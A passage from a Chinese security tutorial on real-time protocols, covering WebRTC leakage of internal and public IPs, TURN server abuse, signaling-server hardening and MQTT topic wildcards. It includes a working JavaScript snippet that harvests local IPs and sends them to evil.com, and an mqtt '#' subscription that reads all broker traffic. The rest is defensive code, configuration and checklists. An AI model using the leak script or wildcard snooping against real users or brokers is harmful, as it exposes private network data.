☐ event / id 字段清洗(去掉 \r \n :)
☐ 用户输入不直接拼进 SSE 响应
资源与稳定性:
☐ emitter 设置超时(建议 5 分钟)
☐ onTimeout / onError / onCompletion 三处都清理注册(防内存泄漏)
☐ 心跳保活(15~30 秒一次注释)
部署配置:
☐ Nginx: proxy_buffering off + gzip off
☐ Nginx: proxy_read_timeout 调大(3600s)
☐ HTTP/2 或多子域名(突破 6 连接限制)
5.4 WebRTC 安全(P2P 直连的代价)
5.4.1 WebRTC 是什么(一句话 + 类比)
白话:WebRTC 让两个浏览器直接连起来传音视频/数据,不经过服务器中转。
生活类比:
- 传统视频会议:你说话 → 传到服务器 → 服务器转给对方(像寄信,都要经过邮局)
- WebRTC:你说话 → 直接传到对方(像打电话,线路直连)
为什么需要服务器:虽然数据直连,但建立连接的过程需要服务器(信令服务器):
- A 想连 B,但 A 不知道 B 在哪
- A 通过信令服务器告诉 B:“我想连你,这是我的地址清单”
- B 回复:“好的,这是我的地址清单”
- 双方尝试直连
- 直连失败 → 用 TURN 服务器中转
5.4.2 STUN / TURN / ICE 三个概念(面试必考)
STUN(Session Traversal Utilities for NAT):
白话:帮你查“我在公网上看起来是什么地址”。
生活类比:你住在一个大楼里(NAT/路由器),你的房间号是 192.168.1.5(内网 IP), 但外面的人只知道大楼地址(公网 IP)。STUN 服务器就像大楼前台, 你问他“外面看我是什么地址”,他回答“203.0.113.5:45678”。
内网设备 STUN 服务器(公网)
192.168.1.5 ──请求:我的公网地址是?──→ 203.0.113.9:3478
←─回应:你是 203.0.113.5:45678 ──
TURN(Traversal Using Relays around NAT):
白话:直连失败时的中转服务器,所有流量都过它。
生活类比:STUN 是帮你问到地址,TURN 是“实在联系不上,你把东西给我,我转交”。 中转是有成本的——流量、带宽、钱。
ICE(Interactive Connectivity Establishment):
白话:收集所有可能的连接方式(本机 IP、STUN 反射地址、TURN 中继地址), 逐个尝试,选出能通的那个。
生活类比:你要找一个人,手上有他的手机号、微信、邮箱、家庭地址、公司地址。 ICE 就是“挨个试,哪个能联系上用哪个”。
ICE 候选(Candidate)的优先级:
① host —— 本机内网 IP(192.168.1.5) ← 最快,但只能内网直连
② srflx —— STUN 反射地址(203.0.113.5:45678) ← 需要 NAT 打洞
③ prflx —— 对端反射地址
④ relay —— TURN 中继地址 ← 最慢,但一定能通
5.4.3 ★ 内网 IP 泄露(WebRTC 最著名的隐私问题)
原理:WebRTC 为了能 P2P 直连,必须收集本机的所有网络接口地址(包括内网 IP), 然后通过 STUN 查询公网地址。这些地址作为 ICE 候选发送给对端。
问题:任何网页都能调用 WebRTC API 收集这些地址,不需要任何权限!
攻击代码(就这么几行):
/**
* WebRTC 内网 IP 泄露 —— 攻击端代码
*
* 可怕的地方:
* ① 不需要用户授权(不弹权限框)
* ② 不需要真的建立连接
* ③ 用户完全无感知
* ④ 即使用户挂了 VPN,内网 IP 照样泄露(VPN 只改公网出口)
* ⑤ 拿到的是真实内网拓扑,对内网渗透极有价值
*/
function leakInternalIP() {
const ips = new Set();
// 创建一个 RTCPeerConnection(不需要真的连)
const pc = new RTCPeerConnection({
iceServers: [
{ urls: 'stun:stun.l.google.com:19302' } // 用公共 STUN,不用自己的
]
});
// 创建一个假的 data channel,触发 ICE 收集
// (不创建 channel 的话,ICE 不会启动)
pc.createDataChannel('');
// 监听 ICE 候选
pc.onicecandidate = function(event) {
if (!event || !event.candidate) {
// 收集完成,把结果发出去
sendToAttacker(Array.from(ips));
return;
}
const candidate = event.candidate.candidate;
// candidate 字符串长这样:
// candidate:842163049 1 udp 1677729535 203.0.113.5 45678 typ srflx
// candidate:1234567890 1 udp 2122260223 192.168.1.5 54321 typ host
// ↑ 这就是内网 IP
// 正则提取 IP
const ipRegex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/i;
const match = candidate.match(ipRegex);
if (match) {
const ip = match[1];
// 过滤掉 IPv6 链接本地地址等无用的
if (!ip.startsWith('fe80:') && !ip.startsWith('::1') && ip !== '0.0.0.0') {
ips.add(ip);
console.log('[泄露] 发现 IP:', ip, '类型:', getType(candidate));
}
}
};
// 创建 offer 触发收集(SDP 里也会包含地址信息)
pc.createOffer().then(offer => pc.setLocalDescription(offer));
function getType(candidate) {
if (candidate.includes('typ host')) return '内网/本机';
if (candidate.includes('typ srflx')) return 'STUN 反射(公网)';
if (candidate.includes('typ relay')) return 'TURN 中继';
return '未知';
}
function sendToAttacker(ipList) {
// 通过图片请求发出去(绕过 CORS,因为 GET 图片不受限制)
const img = new Image();
img.src = 'https://evil.com/collect?ips=' + encodeURIComponent(ipList.join(','));
// 或者用 fetch(会被 CORS 拦,但请求已经发出去了,服务端已收到)
fetch('https://evil.com/collect', {
method: 'POST',
mode: 'no-cors', // no-cors 模式下请求能发出去,只是读不到响应
body: JSON.stringify({ ips: ipList, ua: navigator.userAgent })
});
}
}
// 用户只是打开了一个网页,什么都点,内网 IP 就没了
leakInternalIP();
泄露出来的信息有多大价值:
泄露内容:
192.168.1.5 ← 你的内网 IP(知道网段了)
10.8.0.6 ← 你的 VPN 内网 IP(暴露在用 VPN!)
172.17.0.1 ← Docker 网桥(暴露在本机跑 Docker)
203.0.113.5 ← 真实公网 IP(即使你开着代理/VPN!)
攻击者能推断出:
✅ 你真实的公网 IP(绕过 VPN!这是最严重的)
✅ 你的内网网段(192.168.1.0/24)→ 后续内网扫描的目标
✅ 你是否在企业内网(10.x / 172.16.x)
✅ 你是否在用 VPN / 代理
✅ 你的网络拓扑(多网卡?虚拟机?Docker?)
为什么 VPN 挡不住?
VPN 改的是"默认路由",但 WebRTC 会遍历**所有网络接口**,
包括物理网卡的本地地址。STUN 查询走的是默认路由(VPN),
拿到的是 VPN 的公网 IP——但 host 候选拿到的是**物理网卡的真实内网 IP**。
更狠的是:在某些配置下(WebRTC 泄漏 / split tunneling),
真实公网 IP 也会出现在 srflx 候选里。
三种防御方案:
| 方案 | 做法 | 强度 | 代价 |
|---|---|---|---|
| 浏览器插件禁用 | uBlock Origin 的 “Prevent WebRTC from leaking local IP” | ★★★ | 要用户自己装 |
| 浏览器设置 | Firefox: media.peerconnection.ice.no_host → trueChrome: 需策略或插件 |
★★★★ | 普通用户不会配 |
| mDNS 混淆(浏览器已默认启用) | 用 .local 域名代替真实 IP |
★★★★ | 已经是默认行为 |
mDNS 是什么(Chrome 现在的默认方案):
白话:不给真实 IP 了,给一个随机生成的
.local域名(比如a3f8-9b2c.local)。 这个域名只在本地网络有效,通过 mDNS 协议解析。效果:网页拿到的是
a3f8-9b2c.local,不是192.168.1.5。 攻击者无法从中推断出公网 IP 和内网网段。局限:
- 只对 host 候选有效,srflx(STUN 反射的公网 IP)还是会泄露
- 某些企业网络禁用 mDNS,会导致 WebRTC 连接失败(浏览器会回退)
- Firefox 的实现和 Chrome 不同
从防御者角度(如果你是安全工程师,要检测这个):
#!/usr/bin/env python3
"""
WebRTC IP 泄露检测脚本
用途:
1. 自查:我的浏览器/网络配置下,WebRTC 会泄露什么?
2. 演示:给团队做安全意识培训
需要一个支持执行 JS 的环境(Selenium / Playwright)
"""
import re
import json
from playwright.sync_api import sync_playwright
# 检测页面:内联 HTML,包含 WebRTC 收集代码
DETECT_PAGE = """
<!DOCTYPE html>
<html>
<body>
<script>
window.__leakedIPs = new Set();
window.collectIPs = function() {
return new Promise((resolve) => {
const ips = new Set();
const pc = new RTCPeerConnection({
iceServers: [{urls: 'stun:stun.l.google.com:19302'}]
});
pc.createDataChannel('');
pc.onicecandidate = (event) => {
if (!event || !event.candidate) {
resolve(Array.from(ips));
return;
}
const cand = event.candidate.candidate;
const match = cand.match(/([0-9]{1,3}(\\.[0-9]{1,3}){3})/);
if (match) {
ips.add(JSON.stringify({
ip: match[1],
type: cand.includes('typ host') ? 'host' :
cand.includes('typ srflx') ? 'srflx' :
cand.includes('typ relay') ? 'relay' : 'unknown',
raw: cand
}));
}
};
pc.createOffer().then(o => pc.setLocalDescription(o));
// 3 秒超时
setTimeout(() => resolve(Array.from(ips)), 3000);
});
};
</script>
</body>
</html>
"""
def is_private_ip(ip: str) -> bool:
"""判断是否为内网 IP"""
if ip.startswith('10.'):
return True
if ip.startswith('192.168.'):
return True
if re.match(r'^172\.(1[6-9]|2[0-9]|3[01])\.', ip):
return True
if ip.startswith('169.254.'): # 链路本地
return True
if ip.startswith('127.'):
return True
return False
def main():
print("=" * 70)
print("WebRTC IP 泄露检测")
print("=" * 70)
with sync_playwright() as p:
browser = p.chromium.launch()
page = browser.new_page()
page.set_content(DETECT_PAGE)
results = page.evaluate("collectIPs()")
print(f"\n共收集到 {len(results)} 个候选地址:\n")
leaked_public = []
leaked_private = []
for r in results:
data = json.loads(r)
ip = data['ip']
typ = data['type']
if is_private_ip(ip):
leaked_private.append(data)
flag = "🔴 内网 IP 泄露"
else:
leaked_public.append(data)
flag = "🔴🔴 公网 IP 泄露(最严重)"
print(f" [{typ:6}] {ip:18} {flag}")
print("\n" + "=" * 70)
print("结论:")
print("=" * 70)
if leaked_public:
print(f"❌ 严重:泄露了 {len(leaked_public)} 个公网 IP")
for d in leaked_public:
print(f" {d['ip']}")
print("\n 风险:你的真实公网 IP 被暴露,")
print(" 即使使用 VPN / 代理,真实位置也可能被推断")
else:
print("✅ 未检测到公网 IP 泄露")
if leaked_private:
print(f"\n⚠️ 警告:泄露了 {len(leaked_private)} 个内网 IP")
for d in leaked_private:
print(f" {d['ip']}")
print("\n 风险:攻击者可得知你的内网网段,")
print(" 为后续内网扫描和横向移动提供目标")
else:
print("\n✅ 未检测到内网 IP 泄露(可能已启用 mDNS 混淆)")
print("\n【防护建议】")
print(" 1. 安装 uBlock Origin,开启 'Prevent WebRTC from leaking local IP'")
print(" 2. Firefox: about:config 设置 media.peerconnection.ice.no_host = true")
print(" 3. Chrome 企业版:通过组策略禁用 WebRTC 的 host 候选")
print(" 4. 高敏感场景:直接禁用 WebRTC(about:config → media.peerconnection.enabled = false)")
browser.close()
if __name__ == '__main__':
main()
5.4.4 TURN 服务器被白嫖(成本攻击)
问题:TURN 服务器是中继,所有流量都过它。如果你的 TURN 服务器没有认证, 任何人都能拿它当中继,用来:
- 隐藏真实来源(DDoS 跳板)
- 免费蹭流量(你的带宽账单)
- 绕过网络审查
真实案例:互联网上有大量开放的 STUN/TURN 服务器被扫描器收录, 被黑产用来做流量中继。
✅ 正确的 TURN 认证(coturn 配置):
# /etc/turnserver.conf —— coturn 安全配置
# ========== 基础 ==========
listening-port=3478
tls-listening-port=5349
listening-ip=10.0.0.5
external-ip=203.0.113.10 # 公网 IP(如果在 NAT 后面)
realm=turn.example.com
server-name=turn.example.com
# ========== ★ 认证(最关键)==========
# 使用长期凭据机制(long-term credential)
# 禁用匿名访问!
no-anonymous-access
# lt-cred-mech:长期凭据(用户名/密码)
lt-cred-mech
# 用数据库存储用户(生产环境推荐)
# 静态用户只适合测试:
# user=username1:password1
# user=username2:password2
use-auth-secret # ★ 推荐:动态密钥模式
static-auth-secret=YOUR_LONG_RANDOM_SECRET_HERE
# ========== TLS ==========
cert=/etc/letsencrypt/live/turn.example.com/cert.pem
pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
# 只支持 TLS 1.2+
no-tlsv1
no-tlsv1_1
cipher-list="ECDHE+AESGCM:ECDHE+CHACHA20:DHE+AESGCM:DHE+CHACHA20:!aNULL:!MD5:!DSS"
# ========== 防滥用 ==========
# 每个用户的带宽限制(字节/秒)
user-quota=0 # 0 = 用 total-quota
total-quota=100 # 总并发中继会话数
# 单个会话的最大带宽(64 KB/s,够视频会议了)
max-bps=262144
# 端口范围(防火墙要放行)
min-port=49152
max-port=65535
# 禁止多播(防放大攻击)
no-multicast-peers
# 禁止 loopback 对等(防本机攻击)
denied-peer-ip=127.0.0.1
denied-peer-ip=127.0.0.0-127.255.255.255
denied-peer-ip=0.0.0.0-0.255.255.255 # ★ 关键:禁止 0.0.0.0/8
denied-peer-ip=10.0.0.0-10.255.255.255 # 禁止中继到内网
denied-peer-ip=192.168.0.0-192.168.255.255
denied-peer-ip=172.16.0.0-172.31.255.255
denied-peer-ip=169.254.0.0-169.254.255.255
denied-peer-ip=100.64.0.0-100.127.255.255 # CGNAT
denied-peer-ip=224.0.0.0-255.255.255.255 # 多播/保留
# ★ 上面这段非常重要!
# 不加的话,攻击者可以用你的 TURN 服务器作为跳板,
# 扫描/攻击你的内网!这叫 "TURN as a port scanner"
# ========== 日志 ==========
verbose
log-file=/var/log/turnserver/turn.log
# 注意:不要记录敏感信息
no-stdout-log
# ========== 其他安全 ==========
# 防止指纹识别
fingerprint
# 防止 DoS
stale-nonce
动态 TURN 凭据生成(推荐做法):
/**
* TURN 动态凭据服务
*
* ★ 核心思想:不给固定密码,而是给"临时用户名 + 一次性密码"
*
* coturn 的 use-auth-secret 机制:
* 用户名格式:timestamp:username 例如:1700000000:alice
* 密码:base64(HMAC-SHA1(secret, username))
*
* 为什么安全?
* - 凭据有时效(timestamp 就是过期时间)
* - 不需要在 coturn 上预存用户
* - 服务端可以控制谁能用、用多久
* - 凭据泄露影响有限(很快过期)
*
* 生活类比:
* 固定密码 = 给你一把家门钥匙(丢了要换锁)
* 动态凭据 = 给你一张 2 小时有效的临时门禁卡(丢了也就 2 小时)
*/
@Service
@Slf4j
public class TurnCredentialService {
@Value("${turn.secret}")
private String turnSecret;
@Value("${turn.server-urls}")
private List<String> turnUrls;
@Value("${turn.ttl-seconds:7200}") // 默认 2 小时
private long ttlSeconds;
/**
* 生成 TURN 临时凭据
*
* @param username 用户名(通常是 userId)
* @return ICE 服务器配置,前端直接传给 RTCPeerConnection
*/
public IceServerConfig generateCredentials(String username) {
// ① 计算过期时间戳(Unix 秒)
long expireAt = System.currentTimeMillis() / 1000 + ttlSeconds;
// ② 用户名格式:timestamp:username
String turnUsername = expireAt + ":" + username;
// ③ 密码 = base64(HMAC-SHA1(secret, turnUsername))
String credential = computeHmacSha1Base64(turnSecret, turnUsername);
log.info("[TURN] 生成临时凭据. username={}, expireAt={}({}秒后过期)",
username, expireAt, ttlSeconds);
return IceServerConfig.builder()
.urls(turnUrls)
.username(turnUsername)
.credential(credential)
.expiresAt(expireAt)
.build();
}
/**
* 计算 HMAC-SHA1 并 Base64
*/
private String computeHmacSha1Base64(String secret, String data) {
try {
Mac mac = Mac.getInstance("HmacSHA1");
SecretKeySpec keySpec = new SecretKeySpec(
secret.getBytes(StandardCharsets.UTF_8), "HmacSHA1");
mac.init(keySpec);
byte[] hmac = mac.doFinal(data.getBytes(StandardCharsets.UTF_8));
return Base64.getEncoder().encodeToString(hmac);
} catch (NoSuchAlgorithmException | InvalidKeyException e) {
throw new IllegalStateException("HMAC 计算失败", e);
}
}
/**
* 限流:防止一个用户疯狂申请 TURN 凭据
*/
@Autowired
private StringRedisTemplate redis;
public IceServerConfig generateWithRateLimit(String username, String clientIp) {
String key = "turn:rate:" + username;
Long count = redis.opsForValue().increment(key);
if (count != null && count == 1) {
redis.expire(key, Duration.ofHours(1));
}
if (count != null && count > 20) {
throw new BizException("申请过于频繁,请稍后再试");
}
return generateCredentials(username);
}
public record IceServerConfig(
List<String> urls,
String username,
String credential,
long expiresAt
) {
public static Builder builder() { return new Builder(); }
public static class Builder {
private List<String> urls;
private String username;
private String credential;
private long expiresAt;
public Builder urls(List<String> v) { this.urls = v; return this; }
public Builder username(String v) { this.username = v; return this; }
public Builder credential(String v) { this.credential = v; return this; }
public Builder expiresAt(long v) { this.expiresAt = v; return this; }
public IceServerConfig build() {
return new IceServerConfig(urls, username, credential, expiresAt);
}
}
}
}
前端使用:
/**
* WebRTC 安全连接建立
*
* 关键点:
* ① TURN 凭据从服务端动态获取,不硬编码在前端
* ② 凭据过期后自动刷新
* ③ 强制加密(DTLS-SRTP 是 WebRTC 强制的,但要验证)
*/
class SecureWebRTCClient {
constructor(apiBase) {
this.apiBase = apiBase;
this.pc = null;
this.iceConfig = null;
}
/**
* 获取 ICE 配置(含 TURN 临时凭据)
*/
async fetchIceConfig() {
const resp = await fetch(`${this.apiBase}/api/webrtc/ice-config`, {
credentials: 'include'
});
if (!resp.ok) {
throw new Error('获取 ICE 配置失败');
}
const config = await resp.json();
this.iceConfig = config;
return config;
}
/**
* 创建 PeerConnection
*/
async createPeerConnection() {
// 凭据快过期时刷新(提前 5 分钟)
if (!this.iceConfig || this.iceConfig.expiresAt * 1000 - Date.now() < 5 * 60 * 1000) {
await this.fetchIceConfig();
}
this.pc = new RTCPeerConnection({
iceServers: [
// STUN(只是查地址,不中继流量,风险较低)
{ urls: 'stun:stun.example.com:3478' },
// TURN(中继,必须带临时凭据)
{
urls: this.iceConfig.urls,
username: this.iceConfig.username,
credential: this.iceConfig.credential
}
],
// ★ 只使用中继(relay)候选 —— 最高安全模式
// 效果:所有流量都走 TURN,不暴露任何本地 IP
// 代价:延迟增加、服务器带宽消耗大
iceTransportPolicy: 'all', // 'all' 或 'relay'
bundlePolicy: 'max-bundle',
rtcpMuxPolicy: 'require'
});
// 监控 ICE 状态
this.pc.oniceconnectionstatechange = () => {
console.log('[WebRTC] ICE 状态:', this.pc.iceConnectionState);
if (this.pc.iceConnectionState === 'failed') {
this.handleIceFailure();
}
};
return this.pc;
}
/**
* ★ 验证连接确实加密了(安全检查)
*
* WebRTC 强制使用 DTLS-SRTP,但某些中间设备可能降级,
* 生产环境应该验证一下。
*/
async verifyEncryption() {
const stats = await this.pc.getStats();
let dtlsVerified = false;
let srtpCipher = null;
stats.forEach(report => {
// 检查 DTLS 传输状态
if (report.type === 'transport') {
if (report.dtlsState === 'connected') {
dtlsVerified = true;
console.log('[WebRTC] DTLS 已建立');
}
}
// 检查实际的加密套件
if (report.type === 'candidate-pair' && report.state === 'succeeded') {
const local = stats.get(report.localCandidateId);
if (local) {
console.log('[WebRTC] 使用的候选类型:', local.candidateType);
if (local.candidateType === 'relay') {
console.log(' → 走 TURN 中继,未暴露本地 IP');
} else if (local.candidateType === 'host') {
console.warn(' ⚠️ 使用 host 候选,本地 IP 可能暴露给对端');
}
}
}
});
if (!dtlsVerified) {
console.error('[WebRTC] ❌ DTLS 未建立,连接可能未加密!');
return false;
}
return true;
}
handleIceFailure() {
// ICE 失败,尝试用纯 relay 模式重连
console.warn('[WebRTC] ICE 失败,尝试纯中继模式');
this.pc.setConfiguration({
...this.pc.getConfiguration(),
iceTransportPolicy: 'relay' // 强制走 TURN
});
this.pc.restartIce();
}
}
5.4.5 信令服务器安全(WebRTC 最薄弱的环节)
为什么信令服务器是弱点:
WebRTC 的数据通道是加密的(DTLS-SRTP,强制), 但建立连接的过程(信令)完全由你自己实现,没有任何标准保护它。
数据通道: A ←──── DTLS 加密 ────→ B ✅ 强制加密
信令通道: A ←──── 你的 WebSocket ──→ 服务器 ──→ B ❌ 你自己保证安全
信令服务器的攻击面:
| 攻击 | 说明 | 后果 |
|---|---|---|
| 房间 ID 可猜测 | 房间号是 123456、room1 | 陌生人进入你的会议(Zoombombing) |
| 无鉴权加入 | 任何人能加入任何房间 | 窃听、骚扰 |
| SDP 注入 | 篡改 SDP 内容 | 降级攻击、插入恶意 ICE 服务器 |
| 信令重放 | 重放他人的 offer/answer | 会话劫持 |
| DoS | 疯狂创建房间/连接 | 服务不可用 |
✅ 安全的信令服务器设计:
/**
* WebRTC 安全信令服务
*
* 安全要点:
* ① 房间 ID 用密码学随机(不可猜测)
* ② 加入房间需要鉴权(Token + 房间密码/邀请码)
* ③ SDP 内容校验(防止注入恶意 ICE 服务器)
* ④ 房间人数上限 + 成员白名单
* ⑤ 信令消息限流
*/
@Service
@Slf4j
public class SecureSignalingService {
@Autowired
private SimpMessagingTemplate messagingTemplate;
@Autowired
private RoomRepository roomRepository;
private final SecureRandom secureRandom = new SecureRandom();
/**
* 创建房间
*/
public RoomInfo createRoom(Long ownerId, CreateRoomRequest request) {
// ① 生成不可猜测的房间 ID
// 128 位随机 → 2^128 种可能,暴力破解不可能
String roomId = generateSecureRoomId();
// ② 生成房间访问码(类似会议密码)
String accessCode = request.isRequirePassword()
? generateAccessCode()
: null;
Room room = Room.builder()
.roomId(roomId)
.ownerId(ownerId)
.accessCode(accessCode) // 存 BCrypt hash
.maxParticipants(request.getMaxParticipants() != null
? Math.min(request.getMaxParticipants(), 50) : 10)
.createdAt(System.currentTimeMillis())
.expiresAt(System.currentTimeMillis() + Duration.ofHours(4).toMillis())
.status(RoomStatus.ACTIVE)
.build();
roomRepository.save(room);
log.info("[信令] 创建房间. roomId={}, ownerId={}, 需要密码={}",
roomId, ownerId, accessCode != null);
return RoomInfo.from(room, accessCode); // 只有创建者能拿到 accessCode
}
/**
* 加入房间(★ 核心鉴权逻辑)
*/
public JoinResult joinRoom(Long userId, String roomId, String accessCode) {
Room room = roomRepository.findById(roomId)
.orElseThrow(() -> new BizException("房间不存在"));
// ===== ① 房间状态检查 =====
if (room.getStatus() != RoomStatus.ACTIVE) {
throw new BizException("房间已关闭");
}
if (System.currentTimeMillis() > room.getExpiresAt()) {
throw new BizException("房间已过期");
}
// ===== ② 人数上限检查 =====
long currentCount = countParticipants(roomId);
if (currentCount >= room.getMaxParticipants()) {
log.warn("[信令] 房间已满. roomId={}, count={}, max={}",
roomId, currentCount, room.getMaxParticipants());
throw new BizException("房间已满");
}
// ===== ③ 封禁检查 =====
if (room.getBannedUserIds().contains(userId)) {
throw new BizException("您已被移出该房间");
}
// ===== ④ 访问码校验(如果房间设了密码)=====
if (room.getAccessCodeHash() != null) {
if (accessCode == null) {
throw new BizException("该房间需要访问码");
}
if (!BCrypt.checkpw(accessCode, room.getAccessCodeHash())) {
// ★ 记录失败次数,防爆破
recordFailedAttempt(userId, roomId);
throw new BizException("访问码错误");
}
}
// ===== ⑤ 加入频率限制(防刷)=====
checkJoinRateLimit(userId);
// ===== ⑥ 生成加入令牌(后续信令都带它)=====
String joinToken = generateJoinToken(userId, roomId);
// ===== ⑦ 通知房间内其他成员 =====
messagingTemplate.convertAndSend(
"/topic/room/" + roomId,
Map.of(
"type", "user-joined",
"userId", userId,
"timestamp", System.currentTimeMillis()
)
);
log.info("[信令] 用户加入房间. roomId={}, userId={}", roomId, userId);
return new JoinResult(true, joinToken, room.getMaxParticipants());
}
/**
* 转发 SDP(★ 内容校验)
*/
public void relaySdp(Long userId, String roomId, SdpMessage sdp) {
// ===== ① 校验用户确实在房间里 =====
if (!isUserInRoom(userId, roomId)) {
throw new BizException("您不在该房间中");
}
// ===== ② SDP 大小限制 =====
if (sdp.getSdp().length() > 50_000) {
log.warn("[信令] SDP 过大. userId={}, size={}", userId, sdp.getSdp().length());
throw new BizException("SDP 内容过大");
}
// ===== ③ ★ SDP 内容校验:防止注入恶意 ICE 服务器 =====
//
// 攻击场景:
// 攻击者构造一个 SDP,里面的 iceServers 指向自己的 TURN 服务器。
// 如果服务端无脑转发,对端的流量就会经过攻击者的服务器 → 中间人窃听
//
// 防御:只允许使用我方下发的 ICE 服务器
validateSdpIceServers(sdp.getSdp());
// ===== ④ 转发给目标用户 =====
messagingTemplate.convertAndSendToUser(
sdp.getTargetUserId().toString(),
"/queue/sdp",
Map.of(
"type", sdp.getType(), // offer / answer
"sdp", sdp.getSdp(),
"fromUserId", userId // ★ 由服务端填充,不接受客户端自称
)
);
}
/**
* 校验 SDP 中的 ICE 服务器
*/
private void validateSdpIceServers(String sdp) {
// 提取 SDP 中所有 candidate 行的 IP
Pattern pattern = Pattern.compile(
"a=candidate:\\S+\\s+\\d+\\s+\\S+\\s+\\d+\\s+([\\d.]+|[a-fA-F0-9:]+)\\s+(\\d+)",
Pattern.MULTILINE
);
Matcher matcher = pattern.matcher(sdp);
while (matcher.find()) {
String ip = matcher.group(1);
// 检查 IP 是否在允许的 ICE 服务器列表里
if (!isAllowedIceServer(ip)) {
log.warn("[信令] SDP 包含未授权的 ICE 服务器 IP: {}", ip);
throw new SecurityException("SDP 包含未授权的服务器地址");
}
}
}
private boolean isAllowedIceServer(String ip) {
// 从配置读取允许的 STUN/TURN 服务器 IP
return allowedIceServerIps.contains(ip);
}
/**
* 生成密码学安全的房间 ID
*/
private String generateSecureRoomId() {
byte[] bytes = new byte[16]; // 128 位
secureRandom.nextBytes(bytes);
return Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
// 结果类似:Xk9mPq2LrT4wY8zA
// ★ 对比:绝对不要用 "room" + 自增数字,那是可枚举的
}
/**
* 生成 6 位访问码
*/
private String generateAccessCode() {
return String.format("%06d", secureRandom.nextInt(1_000_000));
}
/**
* 记录访问码尝试失败次数(防爆破)
*/
private void recordFailedAttempt(Long userId, String roomId) {
String key = "room:fail:" + roomId + ":" + userId;
Long fails = redis.opsForValue().increment(key);
if (fails != null && fails == 1) {
redis.expire(key, Duration.ofMinutes(15));
}
if (fails != null && fails >= 5) {
log.warn("[信令] 访问码爆破检测. roomId={}, userId={}, fails={}",
roomId, userId, fails);
throw new BizException("尝试次数过多,请 15 分钟后再试");
}
}
/**
* 加入频率限制
*/
private void checkJoinRateLimit(Long userId) {
String key = "room:join:rate:" + userId;
Long count = redis.opsForValue().increment(key);
if (count != null && count == 1) {
redis.expire(key, Duration.ofMinutes(1));
}
if (count != null && count > 10) {
throw new BizException("操作过于频繁,请稍后再试");
}
}
}
5.4.6 WebRTC 安全检查清单
WebRTC 上线前必查(12 项):
信令服务器:
☐ 房间 ID 用密码学随机(≥128 位),不用自增数字
☐ 加入房间需要鉴权(Token + 可选访问码)
☐ 访问码失败次数限制(防爆破)
☐ 房间有过期时间(不用的自动清理)
☐ 房间人数上限
☐ SDP 内容校验(ICE 服务器白名单,防中间人注入)
☐ 信令消息限流
TURN 服务器:
☐ 禁用匿名访问(no-anonymous-access)
☐ 使用动态凭据(use-auth-secret),不用静态密码
☐ 凭据有有效期(建议 ≤ 2 小时)
☐ denied-peer-ip 禁用内网段(防止变成内网扫描器)
☐ 带宽限制(max-bps / user-quota)
客户端:
☐ 敏感场景用 iceTransportPolicy: 'relay'(隐藏本地 IP)
☐ 建立后验证 DTLS 状态(getStats 检查)
☐ 提示用户 WebRTC 可能泄露 IP(隐私声明)
5.5 MQTT 安全(物联网的“广播电台”)
这一节是第五章的重点。MQTT 是物联网事实上的标准协议, 也是暴露在公网上最多的协议之一——Shodan 上能搜到几十万台开放的 MQTT Broker, 其中大量允许匿名访问,能直接订阅到别人的传感器数据、车辆位置、工控指令。
5.5.1 MQTT 是什么(一句话 + 类比)
白话:MQTT 是一个发布/订阅模型的超轻量消息协议。设备不直接互相通信, 而是都连到一个中间人(Broker),往“频道”(Topic)发消息,谁订阅了谁就收到。
生活类比:
传统 HTTP(请求-响应):
你打电话给气象台问天气 → 气象台回答 → 挂断
(一对一,每次都要重新拨号,你知道对方的号码)
MQTT(发布/订阅):
气象台在广播电台 88.0MHz 播报天气(发布到 Topic)
想知道天气的人把收音机调到 88.0MHz(订阅 Topic)
↓
气象台不知道谁在听,听的人不知道谁在播
(多对多,解耦,你不需要知道对方是谁)
三个核心概念:
| 概念 | 白话 | 类比 |
|---|---|---|
| Broker | 消息中转站,所有消息都过它 | 邮局 / 广播站 |
| Topic | 消息的分类标签,用 / 分层 |
电台频率 / 邮箱地址 |
| Publisher / Subscriber | 发消息的人 / 收消息的人 | 播音员 / 听众 |
为什么物联网都用 MQTT 而不用 HTTP:
对比(同样的"上报一次温度"):
HTTP:
POST /api/temp HTTP/1.1
Host: iot.example.com
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
User-Agent: Mozilla/5.0 ...
Content-Length: 45
{"deviceId":"sensor-001","temp":25.6,"ts":1700000000}
→ 总字节数:约 250 字节
MQTT:
[2 字节固定头] [Topic: sensors/001/temp] [Payload: 25.6]
→ 总字节数:约 30 字节
差别:
- MQTT 报文头最小只有 2 字节(HTTP 头动辄几百字节)
- 省电(NB-IoT 按流量计费,省的就是钱)
- 省带宽(弱网环境,2G/3G/LoRa)
- 支持长连接推送(服务端能主动下发指令)
- 支持断线重连 + 离线消息
5.5.2 Topic 结构与通配符(理解越权的关键)
Topic 长什么样:
factory/line1/device001/temperature
factory/line1/device001/humidity
factory/line2/device003/pressure
vehicles/BJ/京A12345/gps
vehicles/BJ/京A12345/speed
home/livingroom/light/status
home/livingroom/light/command ← ★ 注意这个:command 是下发指令的 Topic!
Topic 设计原则:
✅ 好的设计:
{组织}/{区域}/{设备类型}/{设备ID}/{数据类型}
acme/beijing/plant1/sensor-001/temperature
✅ 分方向:
devices/{id}/up/telemetry ← 设备上报(设备可写,平台可读)
devices/{id}/down/command ← 平台下发(平台可写,设备可读)
★ 上行和下行用不同前缀,ACL 才能精确控制
❌ 坏的设计:
data ← 太笼统,无法做 ACL
sensor-001 ← 没有层次,无法批量订阅
temp ← 所有设备挤在一起
★ 两个通配符(这是 MQTT 越权的核心):
| 通配符 | 含义 | 示例 | 匹配 |
|---|---|---|---|
+ |
匹配单层 | factory/+/device001/temp |
factory/line1/device001/temp ✅factory/line1/line2/device001/temp ❌ |
# |
匹配任意多层(必须在最后) | factory/# |
factory/line1/device001/temp ✅factory/anything/deep/path ✅ |
# 单独用 |
匹配所有 Topic | # |
⚠️ 订阅到整个 Broker 的所有消息! |
$SYS/# |
系统主题 | $SYS/broker/clients/connected |
Broker 自身的运行数据 |
为什么 # 这么危险:
# 一条命令,订阅到整个 Broker 的所有消息
mosquitto_sub -h broker.example.com -t '#' -v
# 你会收到什么?
# factory/line1/device001/temperature 25.6
# factory/line1/device001/pressure 101.3
# vehicles/BJ/京A12345/gps {"lat":39.9,"lng":116.4}
# home/livingroom/light/status on
# home/livingroom/doorlock/command {"action":"unlock"} ← ★ 门禁开锁指令!
# hospital/patient-003/heartrate 78
